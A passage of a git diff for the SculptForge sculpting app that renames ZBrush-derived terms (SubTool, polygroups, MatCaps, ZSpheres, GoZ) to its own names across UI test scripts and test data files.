-# --- U / I / O: Z Intensity, RGB Intensity and Focal Shift at the cursor (typed in ZBrush's 0-100) ---
+# --- U / I / O: Z Intensity, RGB Intensity and Focal Shift at the cursor (typed 0-100) ---
mouse_move 0.5 0.5
key u
expect_text Intensity 50
@@ -64,7 +64,7 @@ expect_help "soft point"
hold none
shot draw-palette
-# --- ZBrush's brush letters: B C B ClayBuildup, B D S DamStandard, B M V Move, B I N Inflate, B S T Standard ---
+# --- the classic brush letters: B C B Clay Block, B D S Sharp Crease, B M V Move, B I N Inflate, B S T Standard ---
key b
key c
shot picker-c
@@ -86,11 +86,11 @@ key b
key s
key t
expect_value brush_type == 0
-# In the ZBrush style the number keys don't pick brushes.
+# In the classic the number keys don't pick brushes.
key 3
expect_value brush_type == 0
-# --- L: Steady Stroke (ZBrush: LazyMouse) on and off, with any stroke type; V: swap the main and secondary colour ---
+# --- L: Steady Stroke (LazyMouse) on and off, with any stroke type; V: swap the main and secondary colour ---
key l
expect_value steady_stroke == 1
key l
@@ -144,15 +144,15 @@ hold none
expect_value mask_soft < $blurred
shot mask-sharpened
-# --- Ctrl+W: the masked part becomes a polygroup and the mask is cleared ---
+# --- Ctrl+W: the masked part becomes a face group and the mask is cleared ---
remember groups g0
key ctrl+w
expect_value groups > $g0
expect_value masked == 0
-expect_value show_polygroups == 1
+expect_value show_facegroups == 1
shot group-masked
-# ZBrush style: Ctrl+drag on the background with nothing masked does nothing (SculptForge's zoom is a preference).
+# classic: Ctrl+drag on the background with nothing masked does nothing (SculptForge's zoom is a preference).
remember camera_distance d0
hold ctrl
drag 0.12 0.3 0.12 0.7
@@ -234,7 +234,7 @@ hold none
expect_value camera_distance > $d1
key f
click "Preferences##palette.preferences"
-click "Classic sculpting keys##input.style_zbrush"
+click "Classic sculpting keys##input.style_classic"
expect_value input_style == 0
key 1
expect_value brush_type == 2
diff --git a/tests/ui/contextual_shelf.sfui b/tests/ui/contextual_shelf.sfui
index 40c33ea9..7589b9e0 100644
--- a/tests/ui/contextual_shelf.sfui
+++ b/tests/ui/contextual_shelf.sfui
@@ -1,5 +1,5 @@
# Contextual shelf buttons (docs/ui-design.md, "Contextual controls"): the top shelf's Vertex / Texture paint
-# target only shows when the SubTool has a texture to paint into, instead of sitting there greyed out.
+# target only shows when the Part has a texture to paint into, instead of sitting there greyed out.
run new_sphere subdivisions=3
expect_value texture_size == 0
expect "Rgb##draw.rgb"
diff --git a/tests/ui/ctrl_brushes.sfui b/tests/ui/ctrl_brushes.sfui
index 1d929f5a..f5a9204a 100644
--- a/tests/ui/ctrl_brushes.sfui
+++ b/tests/ui/ctrl_brushes.sfui
@@ -1,6 +1,6 @@
-# ZBrush's Ctrl brushes: while Ctrl is held the shelf shows the mask brush, and the Brush / Stroke pickers opened
+# the classic Ctrl brushes: while Ctrl is held the shelf shows the mask brush, and the Brush / Stroke pickers opened
# with Ctrl held pick MaskPen / MaskLasso / MaskRect; Ctrl+Shift does the same for SelectRect / SelectLasso. Also
-# Polygroups > Group by UVs.
+# Face groups > Group by UVs.
run new_sphere subdivisions=5
expect_value mask_shape == 0
expect_value hide_shape == 2
@@ -100,13 +100,13 @@ expect_value hidden > $kept
shot select-rect-hidden
click "Show all"
-# Polygroups > Group by UVs: refused without UVs, one group per island after Auto UV.
+# Face groups > Group by UVs: refused without UVs, one group per island after Auto UV.
click "Face Groups"
hold ctrl
-hover "Group by UVs##polygroup.uv_groups"
+hover "Group by UVs##facegroup.uv_groups"
expect_help "UV island"
hold none
-click "Group by UVs##polygroup.uv_groups"
+click "Group by UVs##facegroup.uv_groups"
expect_status "no UVs"
expect_value groups == 1
click "Texture Map##tool.texture"
@@ -114,9 +114,9 @@ click "Texture Map/Auto UV"
wait_idle 120
expect_value uvs == 1
click "Face Groups"
-click "Group by UVs##polygroup.uv_groups"
+click "Group by UVs##facegroup.uv_groups"
expect_value groups > 1
-expect_value show_polygroups == 1
+expect_value show_facegroups == 1
shot uv-groups
key ctrl+z
expect_value groups == 1
diff --git a/tests/ui/custom_matcaps.sfui b/tests/ui/custom_litspheres.sfui
similarity index 50%
rename from tests/ui/custom_matcaps.sfui
rename to tests/ui/custom_litspheres.sfui
index 4bde3f5e..39cfe89c 100644
--- a/tests/ui/custom_matcaps.sfui
+++ b/tests/ui/custom_litspheres.sfui
@@ -1,26 +1,26 @@
-# Custom MatCaps (#15): Material > Load MatCap... (the dialog's command), the library's MatCaps folder, and
-# projects that carry their custom MatCap. Files are written to the working directory (the build folder).
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
-expect_value custom_matcaps == 0
+# Custom Lit Spheres (#15): Material > Load Lit Sphere... (the dialog's command), the library's Lit Spheres folder, and
+# projects that carry their custom Lit Sphere. Files are written to the working directory (the build folder).
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
+expect_value custom_litspheres == 0
-# A project saved with a MatCap this machine doesn't have (Rose, embedded): it opens with it.
-run open path=$SCRIPT_DIR/data/rose_matcap.sfproj
+# A project saved with a Lit Sphere this machine doesn't have (Rose, embedded): it opens with it.
+run open path=$SCRIPT_DIR/data/rose_litsphere.sfproj
expect_value material_custom == 1
-expect_value custom_matcaps == 1
+expect_value custom_litspheres == 1
camera 20 10
shot rose-from-project
-# Load an image: it becomes the material, joins the palette's list and is copied into the MatCaps folder.
+# Load an image: it becomes the material, joins the palette's list and is copied into the Lit Spheres folder.
run new_sphere subdivisions=4
-expect_value matcap_files == 0
+expect_value litsphere_files == 0
click "Material##palette.material"
expect "Material/Load Lit Sphere..."
key escape
-run load_matcap path=$SCRIPT_DIR/data/Gold.png
+run load_litsphere path=$SCRIPT_DIR/data/Gold.png
expect_status "Material: Gold (kept in the Lit Spheres folder)"
expect_value material_custom == 1
-expect_value custom_matcaps == 2
-expect_value matcap_files == 1
+expect_value custom_litspheres == 2
+expect_value litsphere_files == 1
camera 20 10
shot gold
click "Material##palette.material"
@@ -36,44 +36,44 @@ expect_value material_custom == 1
key escape
# Loading the same file again replaces it rather than adding a second Gold.
-run load_matcap path=$SCRIPT_DIR/data/Gold.png
-expect_value custom_matcaps == 2
-expect_value matcap_files == 1
+run load_litsphere path=$SCRIPT_DIR/data/Gold.png
+expect_value custom_litspheres == 2
+expect_value litsphere_files == 1
-# Scripts pick custom MatCaps by name (files that aren't images fail: test_polypaint matcap_custom_images).
+# Scripts pick custom Lit Spheres by name (files that aren't images fail: test_vertex paint lit sphere_custom_images).
run set_material name=rose
expect_status "Material: Rose"
# A project using Gold keeps it through save and open.
run set_material name=gold
-run save_project path=sf_ui_custom_matcap.sfproj
+run save_project path=sf_ui_custom_litsphere.sfproj
run set_material name=studio
expect_value material_custom == 0
-run open path=sf_ui_custom_matcap.sfproj
+run open path=sf_ui_custom_litsphere.sfproj
expect_value material_custom == 1
-expect_value custom_matcaps == 2
-expect_status "sf_ui_custom_matcap"
+expect_value custom_litspheres == 2
+expect_status "sf_ui_custom_litsphere"
# Images added to the Lit Spheres folder while the app runs show up when a material list opens.
env XDG_DATA_HOME $LIBRARY/.trash-test
copy data/Rose.png "$LIBRARY/Lit Spheres/Pink.png"
-expect_value custom_matcaps == 2
+expect_value custom_litspheres == 2
click "Material##palette.material"
wait_idle 20
expect "Material/Pink"
-expect_value custom_matcaps == 3
-expect_value matcap_files == 2
+expect_value custom_litspheres == 3
+expect_value litsphere_files == 2
-# Right-click > Remove: out of the lists, and a MatCaps-folder image goes to the trash (Linux: the one under
+# Right-click > Remove: out of the lists, and a Lit Spheres-folder image goes to the trash (Linux: the one under
# XDG_DATA_HOME above, inside the test library; Windows: the Recycle Bin). The view was using Gold, so it goes
# back to the default.
right_click "Material/Gold"
shot remove-menu
-click "Remove##matcap"
+click "Remove##litsphere"
expect_status "Removed Gold"
-expect_value custom_matcaps == 2
+expect_value custom_litspheres == 2
expect_value material_custom == 0
-expect_value matcap_files == 1
+expect_value litsphere_files == 1
expect_not "Material/Gold"
key escape
click "Material##palette.material"
@@ -83,6 +83,6 @@ expect "Material/Pink"
key escape
# Loading it again brings it back.
-run load_matcap path=$SCRIPT_DIR/data/Gold.png
-expect_value custom_matcaps == 3
-expect_value matcap_files == 2
+run load_litsphere path=$SCRIPT_DIR/data/Gold.png
+expect_value custom_litspheres == 3
+expect_value litsphere_files == 2
diff --git a/tests/ui/cut_tool.sfui b/tests/ui/cut_tool.sfui
index 6d169976..9925bed5 100644
--- a/tests/ui/cut_tool.sfui
+++ b/tests/ui/cut_tool.sfui
@@ -2,11 +2,11 @@
# Duplicate Part's shortcut (Ctrl+Shift+D).
run new_sphere subdivisions=5
# Duplicate Part: Ctrl+Shift+D (then the copy goes again).
-expect_value subtools == 1
+expect_value parts == 1
key ctrl+shift+d
-expect_value subtools == 2
-run subtool_delete
-expect_value subtools == 1
+expect_value parts == 2
+run part_delete
+expect_value parts == 1
remember triangles full
hold ctrl+shift
click "##tile.brush"
diff --git a/tests/ui/data/blender/divide/manifest.json b/tests/ui/data/blender/divide/manifest.json
index e3be3618..f81f160c 100644
--- a/tests/ui/data/blender/divide/manifest.json
+++ b/tests/ui/data/blender/divide/manifest.json
@@ -5,7 +5,7 @@
"sender": "blender",
"sender_version": "4.2.0",
"objects": [
- {"name": "Cylinder", "file": "r1_000.GoZ"},
- {"name": "Sphere", "file": "r1_001.GoZ"}
+ {"name": "Cylinder", "file": "r1_000.Bridge"},
+ {"name": "Sphere", "file": "r1_001.Bridge"}
]
}
diff --git a/tests/ui/data/blender/divide/r1_000.GoZ b/tests/ui/data/blender/divide/r1_000.Bridge
similarity index 100%
rename from tests/ui/data/blender/divide/r1_000.GoZ
rename to tests/ui/data/blender/divide/r1_000.Bridge
diff --git a/tests/ui/data/blender/divide/r1_001.GoZ b/tests/ui/data/blender/divide/r1_001.Bridge
similarity index 100%
rename from tests/ui/data/blender/divide/r1_001.GoZ
rename to tests/ui/data/blender/divide/r1_001.Bridge
diff --git a/tests/ui/data/blender/send1/manifest.json b/tests/ui/data/blender/send1/manifest.json
index ed3d92a3..43082ab0 100644
--- a/tests/ui/data/blender/send1/manifest.json
+++ b/tests/ui/data/blender/send1/manifest.json
@@ -7,7 +7,7 @@
"objects": [
{
"name": "Box",
- "file": "r1_000.GoZ",
+ "file": "r1_000.Bridge",
"matrix_world": [
[
0.9396926207859084,
@@ -37,7 +37,7 @@
},
{
"name": "Rock",
- "file": "r1_001.GoZ",
+ "file": "r1_001.Bridge",
"matrix_world": [
[
1.0,
diff --git a/tests/ui/data/blender/send1/r1_000.GoZ b/tests/ui/data/blender/send1/r1_000.Bridge
similarity index 100%
rename from tests/ui/data/blender/send1/r1_000.GoZ
rename to tests/ui/data/blender/send1/r1_000.Bridge
diff --git a/tests/ui/data/blender/send1/r1_001.GoZ b/tests/ui/data/blender/send1/r1_001.Bridge
similarity index 100%
rename from tests/ui/data/blender/send1/r1_001.GoZ
rename to tests/ui/data/blender/send1/r1_001.Bridge
diff --git a/tests/ui/data/blender/send2/manifest.json b/tests/ui/data/blender/send2/manifest.json
index 7acfe6a9..a42f0176 100644
--- a/tests/ui/data/blender/send2/manifest.json
+++ b/tests/ui/data/blender/send2/manifest.json
@@ -7,7 +7,7 @@
"objects": [
{
"name": "Box",
- "file": "r2_000.GoZ",
+ "file": "r2_000.Bridge",
"matrix_world": [
[
0.9396926207859084,
@@ -37,7 +37,7 @@
},
{
"name": "Pebble",
- "file": "r2_001.GoZ",
+ "file": "r2_001.Bridge",
"matrix_world": [
[
1.0,
diff --git a/tests/ui/data/blender/send2/r2_000.GoZ b/tests/ui/data/blender/send2/r2_000.Bridge
similarity index 100%
rename from tests/ui/data/blender/send2/r2_000.GoZ
rename to tests/ui/data/blender/send2/r2_000.Bridge
diff --git a/tests/ui/data/blender/send2/r2_001.GoZ b/tests/ui/data/blender/send2/r2_001.Bridge
similarity index 100%
rename from tests/ui/data/blender/send2/r2_001.GoZ
rename to tests/ui/data/blender/send2/r2_001.Bridge
diff --git a/tests/ui/data/make_test_matcaps.py b/tests/ui/data/make_test_litspheres.py
similarity index 93%
rename from tests/ui/data/make_test_matcaps.py
rename to tests/ui/data/make_test_litspheres.py
index 5bb75df3..2dfd310c 100644
--- a/tests/ui/data/make_test_matcaps.py
+++ b/tests/ui/data/make_test_litspheres.py
@@ -2,9 +2,9 @@
# SculptForge - open source digital sculpting
# SPDX-License-Identifier: GPL-3.0-or-later
#
-# Writes the two lit-sphere images custom_matcaps.sfui loads (Gold.png, Rose.png) next to this script: a sphere
+# Writes the two lit-sphere images custom_lit spheres.sfui loads (Gold.png, Rose.png) next to this script: a sphere
# shaded with a key light, a rim and a highlight in one tint, drawn here so the test data has a known origin.
-# Standard library only. Run it again to regenerate them: python3 tests/ui/data/make_test_matcaps.py
+# Standard library only. Run it again to regenerate them: python3 tests/ui/data/make_test_lit spheres.py
import math
import os
import struct
diff --git a/tests/ui/data/packs/demo/matcaps/Chalk.png b/tests/ui/data/packs/demo/litspheres/Chalk.png
similarity index 100%
rename from tests/ui/data/packs/demo/matcaps/Chalk.png
rename to tests/ui/data/packs/demo/litspheres/Chalk.png
diff --git a/tests/ui/data/rose_matcap.sfproj b/tests/ui/data/rose_litsphere.sfproj
similarity index 100%
rename from tests/ui/data/rose_matcap.sfproj
rename to tests/ui/data/rose_litsphere.sfproj
diff --git a/tests/ui/deformation_ops.sfui b/tests/ui/deformation_ops.sfui
index 4c5b90a0..a4a5a3dc 100644
--- a/tests/ui/deformation_ops.sfui
+++ b/tests/ui/deformation_ops.sfui
@@ -1,6 +1,6 @@
# Tool > Deformation's whole-Part operations (from the discussions): Polish, Relax, Smooth and Balloon, each with
# its amount beside it, one undo step each, the mask holding what it covers.
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
run new_sphere subdivisions=4
run deform_balloon amount=-40
click "Tool##palette.tool"
diff --git a/tests/ui/divide_blender_fans.sfui b/tests/ui/divide_blender_fans.sfui
index 9b8208c6..500315c7 100644
--- a/tests/ui/divide_blender_fans.sfui
+++ b/tests/ui/divide_blender_fans.sfui
@@ -7,8 +7,8 @@ env SCULPTFORGE_BLENDER_EXCHANGE sf_ui_blender_divide
copy data/blender/divide sf_ui_blender_divide/to_sculptforge
wait 0.2
expect_status "Received 2 objects from Blender"
-expect_value subtools == 2
-expect_value active_subtool == 0
+expect_value parts == 2
+expect_value active_part == 0
remember triangles t0
# The cylinder: three levels, each drawn (the crash was in the viewport's shading after Divide).
@@ -35,8 +35,8 @@ key d
expect_value sdiv == 4
# The UV sphere.
-run subtool_select index=1
-expect_value active_subtool == 1
+run part_select index=1
+expect_value active_part == 1
key ctrl+d
wait 0.2
key ctrl+d
diff --git a/tests/ui/dyntopo.sfui b/tests/ui/dyntopo.sfui
index 791d1f31..4c22f671 100644
--- a/tests/ui/dyntopo.sfui
+++ b/tests/ui/dyntopo.sfui
@@ -1,4 +1,4 @@
-# Dynamic topology (ZBrush's Sculptris Pro): the top shelf's Dynamic toggle and its Detail slider, strokes that
+# Dynamic topology (dynamic topology): the top shelf's Dynamic toggle and its Detail slider, strokes that
# add triangles where they go (mirrored with X symmetry), the wireframe of the remeshed area, Undo / Redo, the
# dyntopo command, and the refusal on a mesh with subdivision levels.
run new_sphere subdivisions=3
diff --git a/tests/ui/dyntopo_smooth_remesh.sfui b/tests/ui/dyntopo_smooth_remesh.sfui
index 061dd58c..1163fa34 100644
--- a/tests/ui/dyntopo_smooth_remesh.sfui
+++ b/tests/ui/dyntopo_smooth_remesh.sfui
@@ -1,6 +1,6 @@
# Dynamic topology's Smooth remesh (from the discussions): how much Shift-smoothing changes the topology while
# Dynamic is on. Smooth only leaves the triangles as they are; Simplify (the default, as before) merges them.
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
run new_sphere subdivisions=4
run dyntopo enabled=true detail=0
click "Draw##palette.draw"
diff --git a/tests/ui/extract_mirror.sfui b/tests/ui/extract_mirror.sfui
index ed00bc9f..86f1e655 100644
--- a/tests/ui/extract_mirror.sfui
+++ b/tests/ui/extract_mirror.sfui
@@ -1,5 +1,5 @@
-# Extract (Tool > SubTool > Extract: preview, then Accept), Mirror And Weld (Tool > Geometry > Modify Topology)
-# and Mirror (Tool > Deformation), as in ZBrush; askNK's 0.9.5 review wishlist.
+# Extract (Tool > Part > Extract: preview, then Accept), Mirror And Weld (Tool > Geometry > Modify Topology)
+# and Mirror (Tool > Deformation); askNK's 0.9.5 review wishlist.
# --- Extract: a cap from the masked top of a sphere.
run new_sphere subdivisions=4
@@ -11,45 +11,45 @@ camera 25 25
key f
click "Extract/Extract"
expect_status "Extract preview"
-expect_value subtools == 2
-expect_value active_subtool == 0
+expect_value parts == 2
+expect_value active_part == 0
expect_value extract_preview == 1
shot extract-preview
# The settings follow the preview: Double grows it both ways (still one preview).
click "Extract/Double"
-expect_value subtools == 2
+expect_value parts == 2
expect_value extract_preview == 1
shot extract-palette
-# Accept keeps it as a SubTool below the source; the source stays active.
+# Accept keeps it as a Part below the source; the source stays active.
click "Extract/Accept"
expect_status "Extracted Extract"
expect_value extract_preview == 0
-expect_value subtools == 2
+expect_value parts == 2
expect_value can_undo == 1
run mask_clear
shot extract-accepted
-# The shell is closed: outer, inner and rim polygroups.
-run subtool_select index=1
+# The shell is closed: outer, inner and rim face groups.
+run part_select index=1
expect_value open_edges == 0
expect_value groups == 3
-run subtool_select index=0
+run part_select index=0
-# Ctrl+Z takes the extracted SubTool away again (after the mask_clear), redo brings it back.
+# Ctrl+Z takes the extracted Part away again (after the mask_clear), redo brings it back.
key ctrl+z
key ctrl+z
-expect_value subtools == 1
+expect_value parts == 1
key ctrl+shift+z
-expect_value subtools == 2
+expect_value parts == 2
# A preview that isn't accepted goes when the source changes.
click "Extract/Extract"
-expect_value subtools == 3
+expect_value parts == 3
run mask_invert
wait_idle 5
-expect_value subtools == 2
+expect_value parts == 2
expect_value extract_preview == 0
# --- Mirror And Weld: an off-centre sphere comes back symmetric and closed.
diff --git a/tests/ui/flat_shading.sfui b/tests/ui/flat_shading.sfui
index 4bb70999..5ad1f288 100644
--- a/tests/ui/flat_shading.sfui
+++ b/tests/ui/flat_shading.sfui
@@ -1,19 +1,19 @@
-# Smooth / Flat shading (#11): the scene's shading in the Material palette, each SubTool's own override, both
+# Smooth / Flat shading (#11): the scene's shading in the Material palette, each Part's own override, both
# saved in projects. Smooth stays the default. Files are written to the working directory (the build folder).
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
run new_sphere subdivisions=2
-run subtool_append type=sphere size=0.6
-expect_value subtools == 2
+run part_append type=sphere size=0.6
+expect_value parts == 2
expect_value flat_shading == 0
-expect_value subtool_shading == 0
+expect_value part_shading == 0
camera 20 10
shot smooth
-# The Material palette: Smooth | Flat for the scene, then Scene | Smooth | Flat for the active SubTool.
+# The Material palette: Smooth | Flat for the scene, then Scene | Smooth | Flat for the active Part.
click "Material##palette.material"
expect "Smooth##material.smooth"
expect "Flat##material.flat"
-expect "Scene##subtool.shading_default"
+expect "Scene##part.shading_default"
click "Flat##material.flat"
expect_status "Shading: Flat"
expect_value flat_shading == 1
@@ -23,34 +23,34 @@ shot flat
# The appended sphere (active) keeps smooth whatever the scene says.
click "Material##palette.material"
-click "Smooth##subtool.shading_smooth"
-expect_value subtool_shading == 1
+click "Smooth##part.shading_smooth"
+expect_value part_shading == 1
expect_status "shading: smooth"
key escape
expect_value flat_shading == 1
-shot flat-scene-smooth-subtool
+shot flat-scene-smooth-part
-# Back to a smooth scene with the other SubTool flat (scripted, as a Python or MCP client would).
+# Back to a smooth scene with the other Part flat (scripted, as a Python or MCP client would).
run set_shading mode=smooth
-run subtool_shading index=0 mode=flat
+run part_shading index=0 mode=flat
expect_value flat_shading == 0
-shot smooth-scene-flat-subtool
+shot smooth-scene-flat-part
# Tool > Display has the same controls.
click "Display##tool.display"
-expect "Flat##subtool.shading_flat"
+expect "Flat##part.shading_flat"
# Projects keep both, and a fresh scene keeps the scene's shading.
run save_project path=sf_ui_flat_shading.sfproj
run new_sphere subdivisions=2
-expect_value subtool_shading == 0
+expect_value part_shading == 0
run set_shading mode=flat
run open path=sf_ui_flat_shading.sfproj
expect_value flat_shading == 0
-expect_value subtools == 2
-expect_value subtool_shading == 1
-run subtool_select index=0
-expect_value subtool_shading == 2
-run subtool_shading mode=default
-expect_value subtool_shading == 0
+expect_value parts == 2
+expect_value part_shading == 1
+run part_select index=0
+expect_value part_shading == 2
+run part_shading mode=default
+expect_value part_shading == 0
expect_value dirty == 1
diff --git a/tests/ui/focal_alpha.sfui b/tests/ui/focal_alpha.sfui
index 10aa359f..8ebb5dcd 100644
--- a/tests/ui/focal_alpha.sfui
+++ b/tests/ui/focal_alpha.sfui
@@ -1,4 +1,4 @@
-# #60: Focal Shift shapes brushes with an alpha, as in ZBrush. The same Square-alpha dab moves the whole square at
+# #60: Focal Shift shapes brushes with an alpha. The same Square-alpha dab moves the whole square at
# -100, a rounded mound at 0 and only a small point at +100 (moved_sum: the summed movement).
run new_sphere subdivisions=5
run brush_set_alpha name=square
diff --git a/tests/ui/forge_spheres_pointer.sfui b/tests/ui/forge_spheres_pointer.sfui
index 1586ce0e..687acfd0 100644
--- a/tests/ui/forge_spheres_pointer.sfui
+++ b/tests/ui/forge_spheres_pointer.sfui
@@ -2,11 +2,11 @@
# parent (Ctrl+drag does the same with it off), the new sphere is selected, Delete Selected / Insert Between /
# Set as Root work on it, and a right click on a sphere opens a menu with the same (a right drag still turns the
# view). Symmetry X is on, so arms come in pairs.
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
-run zsphere_new radius=1
-run subtool_visibility index=0 visible=false
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
+run forgesphere_new radius=1
+run part_visibility index=0 visible=false
wait 0.3
-click "Forge Spheres##tool.zspheres"
+click "Forge Spheres##tool.forgespheres"
expect "Forge Spheres/Drag places child"
hold ctrl
hover "Forge Spheres/Drag places child"
@@ -16,74 +16,74 @@ expect_help "selected sphere"
hold none
# Off (the default): a Draw drag sizes the new sphere on the parent's surface, about one radius out.
-expect_value zsphere_place_child == 0
+expect_value forgesphere_place_child == 0
view_drag 0.515 0.518 0.545 0.518
-expect_value zspheres == 3
-expect_value zsphere_out1 < 1.05
-expect_value zsphere_selected == 1
+expect_value forgespheres == 3
+expect_value forgesphere_out1 < 1.05
+expect_value forgesphere_selected == 1
key ctrl+z
-expect_value zspheres == 1
+expect_value forgespheres == 1
# On: the same drag pulls the new sphere out, at half the parent's size.
click "Forge Spheres/Drag places child"
-expect_value zsphere_place_child == 1
+expect_value forgesphere_place_child == 1
view_drag 0.515 0.518 0.600 0.518
-expect_value zspheres == 3
-expect_value zsphere_out1 > 1.4
-expect_value zsphere_r1 == 0.5
-expect_value zsphere_x2 < -1.0
+expect_value forgespheres == 3
+expect_value forgesphere_out1 > 1.4
+expect_value forgesphere_r1 == 0.5
+expect_value forgesphere_x2 < -1.0
expect_status "Forge Sphere add"
-expect_value zsphere_selected == 1
+expect_value forgesphere_selected == 1
shot placed
key ctrl+z
click "Forge Spheres/Drag places child"
-expect_value zsphere_place_child == 0
+expect_value forgesphere_place_child == 0
# Ctrl+drag places too, with the toggle off.
hold ctrl
view_drag 0.515 0.518 0.600 0.518
hold none
-expect_value zspheres == 3
-expect_value zsphere_out1 > 1.4
+expect_value forgespheres == 3
+expect_value forgesphere_out1 > 1.4
# Insert Between on the selected arm: a joint (and its mirror), selected.
click "Forge Spheres/Insert Between"
-expect_value zspheres == 5
+expect_value forgespheres == 5
expect_status "Forge Sphere insert"
-expect_value zsphere_selected == 3
+expect_value forgesphere_selected == 3
# Delete Selected: the joint and the arm beyond it go (both sides); the root stays.
click "Forge Spheres/Delete Selected"
-expect_value zspheres == 1
-expect_value zsphere_selected == -1
+expect_value forgespheres == 1
+expect_value forgesphere_selected == -1
key ctrl+z
-expect_value zspheres == 5
+expect_value forgespheres == 5
# A right drag on a sphere still turns the view and opens nothing.
remember camera_yaw yaw
button_drag right 0.5 0.518 0.56 0.518
-expect_value zsphere_menu == 0
+expect_value forgesphere_menu == 0
expect_value camera_yaw != $yaw
camera 0 0
wait 0.1
# A right click on the arm: its menu. Set as Root makes it the root (index 0), one undo step.
-remember zsphere_root_x rootx
+remember forgesphere_root_x rootx
button_drag right 0.585 0.518 0.585 0.518 0.05
-expect_value zsphere_menu == 1
+expect_value forgesphere_menu == 1
expect "Forge Sphere menu/Set as Root"
shot menu
click "Forge Sphere menu/Set as Root"
-expect_value zsphere_menu == 0
-expect_value zsphere_root_x > 1.0
-expect_value zspheres == 5
+expect_value forgesphere_menu == 0
+expect_value forgesphere_root_x > 1.0
+expect_value forgespheres == 5
expect_status "set root"
key ctrl+z
-expect_value zsphere_root_x == $rootx
+expect_value forgesphere_root_x == $rootx
# The root's own menu can't delete it.
button_drag right 0.41 0.518 0.41 0.518 0.05
-expect_value zsphere_menu == 1
+expect_value forgesphere_menu == 1
click "Forge Sphere menu/Delete Sphere"
-expect_value zspheres == 5
+expect_value forgespheres == 5
key escape
diff --git a/tests/ui/zspheres.sfui b/tests/ui/forgespheres.sfui
similarity index 57%
rename from tests/ui/zspheres.sfui
rename to tests/ui/forgespheres.sfui
index cf0a94de..0b2ed783 100644
--- a/tests/ui/zspheres.sfui
+++ b/tests/ui/forgespheres.sfui
@@ -1,13 +1,13 @@
-# ZSpheres (ZBrush's ZSpheres, Tool > ZSpheres): a ZSphere SubTool with one root, Draw grows an arm from it with X
+# Forge Spheres (Forge Spheres, Tool > Forge Spheres): a Forge Sphere Part with one root, Draw grows an arm from it with X
# symmetry (the mirror arm follows), Move pulls it out, Scale grows it and undo takes that back, a click on the link
# adds a joint (both sides), Alt+click deletes a limb, Preview (A) shows the skin, and Make Mesh builds a sculptable
-# SubTool below with the ZSpheres hidden and kept. Dragging the background still navigates.
-run zsphere_new radius=1
-run subtool_visibility index=0 visible=false
+# Part below with the Forge Spheres hidden and kept. Dragging the background still navigates.
+run forgesphere_new radius=1
+run part_visibility index=0 visible=false
wait 0.3
-click "Forge Spheres##tool.zspheres"
+click "Forge Spheres##tool.forgespheres"
expect "Forge Spheres/Draw"
-expect_value zspheres == 1
+expect_value forgespheres == 1
expect_text "1 sphere"
# Ctrl-hover help.
@@ -22,56 +22,56 @@ hold none
# Draw: drag near the root's right edge grows an arm there; symmetry adds its twin on the left.
view_drag 0.515 0.518 0.545 0.518
-expect_value zspheres == 3
-expect_value zsphere_x1 > 0.5
-expect_value zsphere_x2 < -0.5
+expect_value forgespheres == 3
+expect_value forgesphere_x1 > 0.5
+expect_value forgesphere_x2 < -0.5
expect_status "Forge Sphere add"
-shot zspheres-draw
+shot forgespheres-draw
# Move: pull the arm out to the right; the twin goes left.
click "Forge Spheres/Move"
-remember zsphere_x1 x
+remember forgesphere_x1 x
view_drag 0.530 0.518 0.600 0.518
-expect_value zsphere_x1 > $x
-expect_value zsphere_x2 < -1.0
+expect_value forgesphere_x1 > $x
+expect_value forgesphere_x2 < -1.0
# Scale: drag up on the arm to grow it; undo puts it back.
click "Forge Spheres/Scale"
-remember zsphere_r1 r
+remember forgesphere_r1 r
view_drag 0.600 0.518 0.600 0.45
-expect_value zsphere_r1 > $r
+expect_value forgesphere_r1 > $r
key ctrl+z
-expect_value zsphere_r1 == $r
+expect_value forgesphere_r1 == $r
key ctrl+shift+z
-expect_value zsphere_r1 > $r
+expect_value forgesphere_r1 > $r
key ctrl+z
# Draw on the link between the root and the arm: a joint halfway, mirrored.
click "Forge Spheres/Draw"
-remember zsphere_x1 armx
+remember forgesphere_x1 armx
view_drag 0.543 0.518 0.543 0.518 0.05
-expect_value zspheres == 5
+expect_value forgespheres == 5
expect_status "Forge Sphere insert"
-shot zspheres-joint
+shot forgespheres-joint
# Preview: the skin replaces the spheres; clicks on it do nothing.
key a
-expect_value zsphere_preview == 1
-expect_value zspheres == 5
-shot zspheres-preview
+expect_value forgesphere_preview == 1
+expect_value forgespheres == 5
+shot forgespheres-preview
view_drag 0.412 0.518 0.412 0.518 0.05
expect_status "Preview is on"
-expect_value zspheres == 5
+expect_value forgespheres == 5
key a
-expect_value zsphere_preview == 0
+expect_value forgesphere_preview == 0
-# Make Mesh: a new SubTool below, active and sculptable; the ZSpheres hidden and kept.
+# Make Mesh: a new Part below, active and sculptable; the Forge Spheres hidden and kept.
click "Forge Spheres/Make Mesh"
-expect_value subtools == 3
-expect_value active_subtool == 2
-expect_value zspheres == 0
+expect_value parts == 3
+expect_value active_part == 2
+expect_value forgespheres == 0
expect_status "from the Forge Spheres"
-shot zspheres-mesh
+shot forgespheres-mesh
remember triangles before
snapshot
stroke 0.38 0.45 0.44 0.55
diff --git a/tests/ui/generate_defaults.sfui b/tests/ui/generate_defaults.sfui
index e51e1555..d7bacee8 100644
--- a/tests/ui/generate_defaults.sfui
+++ b/tests/ui/generate_defaults.sfui
@@ -1,6 +1,6 @@
# Generate 3D's defaults (0.10.9): Hunyuan3D 2.1 on Hugging Face (no token needed) and Quad Remesh for the result,
# with Voxel remesh and Off as the other choices.
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar
drop ../../assets/demo/teddy-sketch.png
wait_for "Generate 3D" 5
expect_text Hunyuan3D 2.1 (Tencent) - free, no token
diff --git a/tests/ui/gizmo.sfui b/tests/ui/gizmo.sfui
index 715b7e16..8f11e109 100644
